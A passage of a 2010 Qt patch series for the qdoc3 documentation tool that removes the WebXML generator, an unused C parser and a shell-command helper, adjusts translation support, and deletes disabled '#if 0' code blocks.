Node::Enum: - return "enum"; - break; - case Node::Typedef: - return "typedef"; - break; - case Node::Property: - return "property"; - break; - case Node::Function: - return "function"; - break; - case Node::Variable: - return "variable"; - break; - case Node::Target: - return "target"; - break; - default: - return ""; - } - return ""; -} - -void WebXMLGenerator::generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker) -{ - if (node && !node->links().empty()) { - QPair linkPair; - QPair anchorPair; - const Node *linkNode; - - foreach (Node::LinkType relation, node->links().keys()) { - - linkPair = node->links()[relation]; - linkNode = findNode(linkPair.first, node, marker); - - if (!linkNode) - linkNode = node; - - if (linkNode == node) - anchorPair = linkPair; - else - anchorPair = anchorForNode(linkNode); - - writer.writeStartElement("relation"); - writer.writeAttribute("href", anchorPair.first); - writer.writeAttribute("type", targetType(linkNode)); - - switch (relation) { - case Node::StartLink: - writer.writeAttribute("meta", "start"); - break; - case Node::NextLink: - writer.writeAttribute("meta", "next"); - break; - case Node::PreviousLink: - writer.writeAttribute("meta", "previous"); - break; - case Node::ContentsLink: - writer.writeAttribute("meta", "contents"); - break; - case Node::IndexLink: - writer.writeAttribute("meta", "index"); - break; - default: - writer.writeAttribute("meta", ""); - } - writer.writeAttribute("description", anchorPair.second); - writer.writeEndElement(); // link - } - } -} - -// Classes adapted from HtmlGenerator. - -void WebXMLGenerator::generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative) - -{ - if (!node->doc().hasTableOfContents()) - return; - QList toc = node->doc().tableOfContents(); - if (toc.isEmpty()) - return; - - QString nodeName = ""; - if (node != relative) - nodeName = node->name(); - - QStringList sectionNumber; - int columnSize = 0; - - if (numColumns > 1) { - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - writer.writeStartElement("row"); - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - } - - // disable nested links in table of contents - inContents = true; - inLink = true; - - for (int i = 0; i < toc.size(); ++i) { - Atom *atom = toc.at(i); - - int nextLevel = atom->string().toInt(); - if (nextLevel > (int)sectioningUnit) - continue; - - if (sectionNumber.size() < nextLevel) { - do { - writer.writeStartElement("list"); - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } else { - while (sectionNumber.size() > nextLevel) { - writer.writeEndElement(); - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - writer.writeEndElement(); // list - writer.writeEndElement(); // item - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - writer.writeStartElement("list"); - columnSize = 0; - } - - writer.writeStartElement("item"); - writer.writeStartElement("para"); - writer.writeStartElement("link"); - writer.writeAttribute("href", nodeName + "#" + Doc::canonicalTitle(headingText.toString())); - writer.writeAttribute("type", "page"); - writer.writeCharacters(headingText.toString()); - writer.writeEndElement(); // link - writer.writeEndElement(); // para - writer.writeEndElement(); // item - - ++columnSize; - } - while (!sectionNumber.isEmpty()) { - writer.writeEndElement(); // list - sectionNumber.removeLast(); - } - - if (numColumns > 1) { - writer.writeEndElement(); // item - writer.writeEndElement(); // row - writer.writeEndElement(); // table - } - - inContents = false; - inLink = false; -} - -void WebXMLGenerator::generateAnnotatedList(QXmlStreamWriter &writer, - const Node *relative, CodeMarker *marker, const QMap &nodeMap) -{ - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - - foreach (QString name, nodeMap.keys()) { - const Node *node = nodeMap[name]; - - writer.writeStartElement("row"); - writer.writeStartElement("heading"); - generateFullName(writer, node, relative, marker); - writer.writeEndElement(); // heading - - writer.writeStartElement("item"); - writer.writeCharacters(node->doc().briefText().toString()); - writer.writeEndElement(); // item - writer.writeEndElement(); // row - } - writer.writeEndElement(); // table -} - -void WebXMLGenerator::generateFullName(QXmlStreamWriter &writer, - const Node *apparentNode, const Node *relative, CodeMarker *marker, - const Node *actualNode) -{ - if ( actualNode == 0 ) - actualNode = apparentNode; - writer.writeStartElement("link"); - writer.writeAttribute("href", tre->fullDocumentLocation(actualNode)); - writer.writeAttribute("type", targetType(actualNode)); - writer.writeCharacters(fullName(apparentNode, relative, marker)); - writer.writeEndElement(); // link -} - -// Classes copied (and slightly adapted) from the HtmlGenerator. These need -// refactoring into a common ancestor class. - -void WebXMLGenerator::findAllClasses(const InnerNode *node) -{ - NodeList::const_iterator c = node->childNodes().constBegin(); - while (c != node->childNodes().constEnd()) { - if ((*c)->access() != Node::Private && (*c)->url().isEmpty()) { - if ((*c)->type() == Node::Class && !(*c)->doc().isEmpty()) { - QString className = (*c)->name(); - if ((*c)->parent() && (*c)->parent()->type() == Node::Namespace && - !(*c)->parent()->name().isEmpty()) - className = (*c)->parent()->name()+"::"+className; - - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleClassMap[moduleName].insert((*c)->name(), *c); - - QString serviceName = - (static_cast(*c))->serviceName(); - if (!serviceName.isEmpty()) - serviceClasses.insert(serviceName, *c); - } else if ((*c)->isInnerNode()) { - findAllClasses(static_cast(*c)); - } - } - ++c; - } -} - -void WebXMLGenerator::findAllNamespaces(const InnerNode *node) -{ - NodeList::ConstIterator c = node->childNodes().begin(); - while (c != node->childNodes().end()) { - if ((*c)->access() != Node::Private) { - if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllNamespaces(static_cast(*c)); - if ((*c)->type() == Node::Namespace) { - const NamespaceNode *nspace = static_cast(*c); - // Ensure that the namespace's name is not empty (the root - // namespace has no name). - if (!nspace->name().isEmpty()) { - namespaceIndex.insert(nspace->name(), *c); - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleNamespaceMap[moduleName].insert((*c)->name(), *c); - } - } - } - } - ++c; - } -} - -const QPair WebXMLGenerator::anchorForNode(const Node *node) -{ - QPair anchorPair; - - anchorPair.first = PageGenerator::fileName(node); - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast(node); - anchorPair.second = fakeNode->title(); - } - - return anchorPair; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/webxmlgenerator.h b/tools/qdoc3/webxmlgenerator.h deleted file mode 100644 index 071896a..0000000 --- a/tools/qdoc3/webxmlgenerator.h +++ /dev/null @@ -1,127 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - WebXMLGenerator.h -*/ - -#ifndef WEBXMLGENERATOR_H -#define WEBXMLGENERATOR_H - -#include - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class QXmlStreamReader; -class QXmlStreamWriter; - -class WebXMLGenerator : public PageGenerator -{ -public: - WebXMLGenerator(); - ~WebXMLGenerator(); - - virtual void initializeGenerator(const Config &config); - virtual void terminateGenerator(); - virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); - -protected: - virtual void startText( const Node *relative, CodeMarker *marker ); - virtual int generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - - virtual const Atom *addAtomElements(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker); - virtual void generateIndexSections(QXmlStreamWriter &writer, const Node *node, - CodeMarker *marker); - virtual void generateInnerNode( const InnerNode *node, CodeMarker *marker ); - -private: - const QPair anchorForNode(const Node *node); - void findAllClasses(const InnerNode *node); - void findAllNamespaces(const InnerNode *node); - const Node *findNode(const Atom *atom, const Node *relative, CodeMarker *marker); - const Node *findNode(const QString &title, const Node *relative, CodeMarker *marker); - void generateAnnotatedList(QXmlStreamWriter &writer, const Node *relative, - CodeMarker *marker, const QMap &nodeMap); - void generateFullName(QXmlStreamWriter &writer, const Node *apparentNode, - const Node *relative, CodeMarker *marker, - const Node *actualNode = 0); - void generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker); - void generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative); - void startLink(QXmlStreamWriter &writer, const Atom *atom, const Node *node, - const Node *relative); - QString targetType(const Node *node); - - const Tree *tre; - bool generateIndex; - bool inLink; - bool inContents; - bool inSectionHeading; - bool inTableHeader; - int numTableRows; - bool threeColumnEnumValueTable; - QMap > moduleClassMap; - QMap > moduleNamespaceMap; - QMap namespaceIndex; - QMap serviceClasses; - QString link; - QString project; - QString projectDescription; - QString projectUrl; - QString quoteCommand; - QStringList sectionNumber; -}; - -QT_END_NAMESPACE - -#endif -- cgit v0.12 From c9ff1b8851b166b786864ee7bbe0eceb0220660e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:04:03 +0100 Subject: Updated code comments. --- tools/qdoc3/quoter.cpp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index b8055a7..6dc7894 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -41,7 +41,6 @@ #include #include -#include #include "quoter.h" @@ -123,9 +122,9 @@ Quoter::Quoter() /* We're going to hard code these delimiters: * C++, Qt, Qt Script, Java: //! [] - * .pro files: + * .pro, .py files: #! [] - * .xq, .xml, .html files: + * .html, .qrc, .ui, .xq, .xml files: */ commentHash["pro"] = "#!"; -- cgit v0.12 From 6a5aebd47fca17663074c323795e37f3581154c2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:04:23 +0100 Subject: Improved translation support, using the application object if possible. --- tools/qdoc3/tr.h | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/tr.h b/tools/qdoc3/tr.h index 4d601e9..4ba7aa4 100644 --- a/tools/qdoc3/tr.h +++ b/tools/qdoc3/tr.h @@ -46,14 +46,26 @@ #ifndef TR_H #define TR_H +#ifndef QT_BOOTSTRAPPED +# include "qcoreapplication.h" +#endif + #include QT_BEGIN_NAMESPACE -inline QString tr( const char *sourceText, const char * /* comment */ = 0 ) +#if defined(QT_BOOTSTRAPPED) || defined(QT_NO_TRANSLATION) +inline QString tr(const char *sourceText, const char *comment = 0) { + Q_UNUSED(comment); return QString( QLatin1String(sourceText) ); } +#else +inline QString tr(const char *sourceText, const char *comment = 0) +{ + return QCoreApplication::instance()->translate("", sourceText, comment); +} +#endif QT_END_NAMESPACE -- cgit v0.12 From 93093b972cae3c1362c5d443ed8288b4694b2735 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:57:38 +0100 Subject: Removed the unused C code parser. --- tools/qdoc3/ccodeparser.cpp | 73 --------------------------------------------- tools/qdoc3/ccodeparser.h | 66 ---------------------------------------- tools/qdoc3/qdoc3.pro | 2 -- 3 files changed, 141 deletions(-) delete mode 100644 tools/qdoc3/ccodeparser.cpp delete mode 100644 tools/qdoc3/ccodeparser.h diff --git a/tools/qdoc3/ccodeparser.cpp b/tools/qdoc3/ccodeparser.cpp deleted file mode 100644 index 48aa539..0000000 --- a/tools/qdoc3/ccodeparser.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - ccodeparser.cpp -*/ - -#include "ccodeparser.h" - -QT_BEGIN_NAMESPACE - -CCodeParser::CCodeParser() -{ -} - -CCodeParser::~CCodeParser() -{ -} - -QString CCodeParser::language() -{ - return QLatin1String("C"); -} - -QString CCodeParser::headerFileNameFilter() -{ - return QLatin1String("*.ch *.h"); -} - -QString CCodeParser::sourceFileNameFilter() -{ - return QLatin1String("*.c"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/ccodeparser.h b/tools/qdoc3/ccodeparser.h deleted file mode 100644 index 1771fc9..0000000 --- a/tools/qdoc3/ccodeparser.h +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - ccodeparser.h -*/ - -#ifndef CCODEPARSER_H -#define CCODEPARSER_H - -#include "cppcodeparser.h" - -QT_BEGIN_NAMESPACE - -class CCodeParser : public CppCodeParser -{ -public: - CCodeParser(); - ~CCodeParser(); - - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 77c95f8..074fdf6 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -25,7 +25,6 @@ build_all:!build_pass { CONFIG -= app_bundle HEADERS += atom.h \ - ccodeparser.h \ codechunk.h \ codemarker.h \ codeparser.h \ @@ -51,7 +50,6 @@ HEADERS += atom.h \ tr.h \ tree.h SOURCES += atom.cpp \ - ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ codeparser.cpp \ -- cgit v0.12 From 035a1416bbe95771649da7e3bfb3ed5c19ab4524 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 20:15:14 +0100 Subject: Removed unused functions. --- tools/qdoc3/command.cpp | 103 ------------------------------------------------ tools/qdoc3/command.h | 60 ---------------------------- tools/qdoc3/qdoc3.pro | 2 - 3 files changed, 165 deletions(-) delete mode 100644 tools/qdoc3/command.cpp delete mode 100644 tools/qdoc3/command.h diff --git a/tools/qdoc3/command.cpp b/tools/qdoc3/command.cpp deleted file mode 100644 index b78ad07..0000000 --- a/tools/qdoc3/command.cpp +++ /dev/null @@ -1,103 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.cpp -*/ - -#include - -#include "command.h" - -#include - -QT_BEGIN_NAMESPACE - -void executeCommand(const Location& location, - const QString& format, - const QStringList& args) -{ - QString actualCommand; - for (int i = 0; i < (int) format.length(); i++) { - int ch = format[i].unicode(); - if (ch > 0 && ch < 8) { - actualCommand += args[ch - 1]; - } - else { - actualCommand += format[i]; - } - } - - QString toolName = actualCommand; - int space = toolName.indexOf(QLatin1Char(' ')); - if (space != -1) - toolName.truncate(space); - -#ifdef QT_BOOTSTRAPPED - int status = system(qPrintable(actualCommand)); - int exitCode = WEXITSTATUS(status); - if (status == -1 || exitCode != EXIT_SUCCESS) - location.fatal(QString("Error executing '$1': $2").arg(toolName).arg(exitCode)); -#else - QProcess process; - process.start(QLatin1String("sh"), - QStringList() << QLatin1String("-c") << actualCommand); - process.waitForFinished(); - - if (process.exitCode() == 127) - location.fatal(tr("Couldn't launch the '%1' tool") - .arg(toolName), - tr("Make sure the tool is installed and in the" - " path.")); - - QString errors = QString::fromLocal8Bit(process.readAllStandardError()); - while (errors.endsWith(QLatin1Char('\n'))) - errors.truncate(errors.length() - 1); - if (!errors.isEmpty()) - location.fatal(tr("The '%1' tool encountered some problems") - .arg(toolName), - tr("The tool was invoked like this:\n%1\n" - "It emitted these errors:\n%2") - .arg(actualCommand).arg(errors)); -#endif -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/command.h b/tools/qdoc3/command.h deleted file mode 100644 index 2346aff..0000000 --- a/tools/qdoc3/command.h +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - command.h -*/ - -#ifndef COMMAND_H -#define COMMAND_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -void executeCommand( const Location& location, const QString& commandFormat, - const QStringList& args ); - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 074fdf6..c9b05d2 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -28,7 +28,6 @@ HEADERS += atom.h \ codechunk.h \ codemarker.h \ codeparser.h \ - command.h \ config.h \ cppcodemarker.h \ cppcodeparser.h \ @@ -53,7 +52,6 @@ SOURCES += atom.cpp \ codechunk.cpp \ codemarker.cpp \ codeparser.cpp \ - command.cpp \ config.cpp \ cppcodemarker.cpp \ cppcodeparser.cpp \ -- cgit v0.12 From d468fe4ca99561e9e575edc0e9d99080e93d91a3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 22 Nov 2010 17:08:00 +0100 Subject: Removed unused code. --- tools/qdoc3/codemarker.cpp | 1 - tools/qdoc3/cppcodemarker.cpp | 15 -------- tools/qdoc3/cppcodeparser.cpp | 10 ----- tools/qdoc3/doc.cpp | 23 ------------ tools/qdoc3/generator.cpp | 14 +------ tools/qdoc3/htmlgenerator.cpp | 86 ------------------------------------------- tools/qdoc3/location.cpp | 4 -- tools/qdoc3/node.cpp | 5 --- tools/qdoc3/tree.cpp | 16 +------- 9 files changed, 2 insertions(+), 172 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index ec86ae3..f1b6346 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include -#include #include "codemarker.h" #include "config.h" #include "node.h" diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 3615a84..576d103 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -455,21 +455,6 @@ QString CppCodeMarker::functionEndRegExp(const QString& /* funcName */) return "^\\}$"; } -#if 0 - FastSection privateReimpFuncs(classe, - "Private Reimplemented Functions", - "private reimplemented function", - "private reimplemented functions"); - FastSection protectedReimpFuncs(classe, - "Protected Reimplemented Functions", - "protected reimplemented function", - "protected reimplemented functions"); - FastSection publicReimpFuncs(classe, - "Public Reimplemented Functions", - "public reimplemented function", - "public reimplemented functions"); -#endif - QList
    CppCodeMarker::sections(const InnerNode *inner, SynopsisStyle style, Status status) diff --git a/tools/qdoc3/cppcodeparser.cpp b/tools/qdoc3/cppcodeparser.cpp index a120e45..8e891b8 100644 --- a/tools/qdoc3/cppcodeparser.cpp +++ b/tools/qdoc3/cppcodeparser.cpp @@ -966,16 +966,6 @@ void CppCodeParser::processOtherMetaCommand(const Doc& doc, .arg(COMMAND_REIMP).arg(node->name())); } -#if 0 - // Reimplemented functions now reported in separate sections. - /* - Note: Setting the access to Private hides the documentation, - but setting the status to Internal makes the node available - in the XML output when the WebXMLGenerator is used. - */ - func->setAccess(Node::Private); - func->setStatus(Node::Internal); -#endif func->setReimp(true); } else { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 280f055..be16c59 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -1685,13 +1685,6 @@ void DocParser::startSection(Doc::SectioningUnit unit, int cmd) leavePara(); if (currentSectioningUnit == Doc::Book) { -#if 0 - // mws didn't think this was necessary. - if (unit > Doc::Section1) - location().warning(tr("Unexpected '\\%1' without '\\%2'") - .arg(cmdName(cmd)) - .arg(cmdName(CMD_SECTION1))); -#endif currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); priv->constructExtra(); priv->extra->sectioningUnit = currentSectioningUnit; @@ -1866,9 +1859,6 @@ void DocParser::enterPara(Atom::Type leftType, pendingParaRightType = rightType; pendingParaString = string; if ( -#if 0 - leftType == Atom::BriefLeft || -#endif leftType == Atom::SectionHeadingLeft) { paraState = InsideSingleLinePara; } @@ -2273,12 +2263,6 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) QString DocParser::getUnmarkedCode(int cmd) { QString code = getUntilEnd(cmd); -#if 0 - int indent = indentLevel(code); - if (indent < minIndent) - minIndent = indent; - code = unindent(minIndent, code); -#endif return code; } @@ -3043,13 +3027,6 @@ QString Doc::canonicalTitle(const QString &title) result += QLatin1Char('-'); dashAppended = true; } -#if 0 - // This was screwing things up. - else { - result += title[i]; - lastAlnum = result.size(); - } -#endif } result.truncate(lastAlnum); return result; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 74e966a..0f2454e 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -383,14 +383,7 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) { bool quiet = false; - if (node->type() == Node::Function) { -#if 0 - const FunctionNode *func = (const FunctionNode *) node; - if (func->isOverload() && func->metaness() != FunctionNode::Ctor) - generateOverload(node, marker); -#endif - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); if (fake->subType() == Node::Example) generateExampleFiles(fake, marker); @@ -510,11 +503,6 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) if (!body.contains("return", Qt::CaseInsensitive)) node->doc().location().warning(tr("Undocumented return value")); } -#if 0 - // Now we put this at the top, before the other text. - if (func->reimplementedFrom() != 0) - generateReimplementedFrom(func, marker); -#endif } } diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 0cd534e..4faab50 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -63,10 +63,6 @@ QT_BEGIN_NAMESPACE int HtmlGenerator::id = 0; bool HtmlGenerator::debugging_on = false; -#if 0 -QString HtmlGenerator::divNavTop = "
    "; -#endif - QString HtmlGenerator::divNavTop = ""; QString HtmlGenerator::sinceTitles[] = @@ -1020,26 +1016,8 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << atom->string(); break; case Atom::SectionLeft: -#if 0 - { - int nextLevel = atom->string().toInt(); - if (sectionNumber.size() < nextLevel) { - do { - sectionNumber.append("1"); - } while (sectionNumber.size() < nextLevel); - } - else { - while (sectionNumber.size() > nextLevel) { - sectionNumber.removeLast(); - } - sectionNumber.last() = QString::number(sectionNumber.last().toInt() + 1); - } - out() << "" << divNavTop << "\n"; - } -#else out() << "" << divNavTop << "\n"; -#endif break; case Atom::SectionRight: break; @@ -2022,39 +2000,6 @@ void HtmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -#if 0 -void HtmlGenerator::generateNavigationBar(const NavigationBar& bar, - const Node *node, - CodeMarker *marker) -{ - if (bar.prev.begin() != 0 || bar.current.begin() != 0 || - bar.next.begin() != 0) { - out() << "

    "; - if (bar.prev.begin() != 0) { -#if 0 - out() << "[Prev: "; - generateText(section.previousHeading(), node, marker); - out() << "]\n"; -#endif - } - if (fake->name() != QString("index.html")) { - if (bar.current.begin() != 0) { - out() << "[Home]\n"; - } - if (bar.next.begin() != 0) { - out() << "[Next: "; - generateText(Text::sectionHeading(bar.next.begin()), node, marker); - out() << "]\n"; - } - out() << "

    \n"; - } - } -} -#endif - QString HtmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker) { @@ -3237,29 +3182,6 @@ QString HtmlGenerator::fileBase(const Node *node) return result; } -#if 0 -QString HtmlGenerator::fileBase(const Node *node, - const SectionIterator& section) -{ - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - QString HtmlGenerator::fileName(const Node *node) { if (node->type() == Node::Fake) { @@ -3813,14 +3735,6 @@ QString HtmlGenerator::getLink(const Atom *atom, << (*node)->name() << "no relative"; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { diff --git a/tools/qdoc3/location.cpp b/tools/qdoc3/location.cpp index dee87d1..1257a45 100644 --- a/tools/qdoc3/location.cpp +++ b/tools/qdoc3/location.cpp @@ -390,10 +390,6 @@ QString Location::top() const if (lineNo() >= 1) { str += QLatin1Char(':'); str += QString::number(lineNo()); -#if 0 - if (columnNo() >= 1) - str += ":" + QString::number(columnNo()); -#endif } if (etc()) str += QLatin1String(" (etc.)"); diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 41f90d5..e043f5d 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1545,11 +1545,6 @@ void QmlClassNode::clear() */ QString QmlClassNode::fileBase() const { -#if 0 - if (Node::fileBase() == "item") - qDebug() << "FILEBASE: qmlitem" << name(); - return "qml_" + Node::fileBase(); -#endif return Node::fileBase(); } diff --git 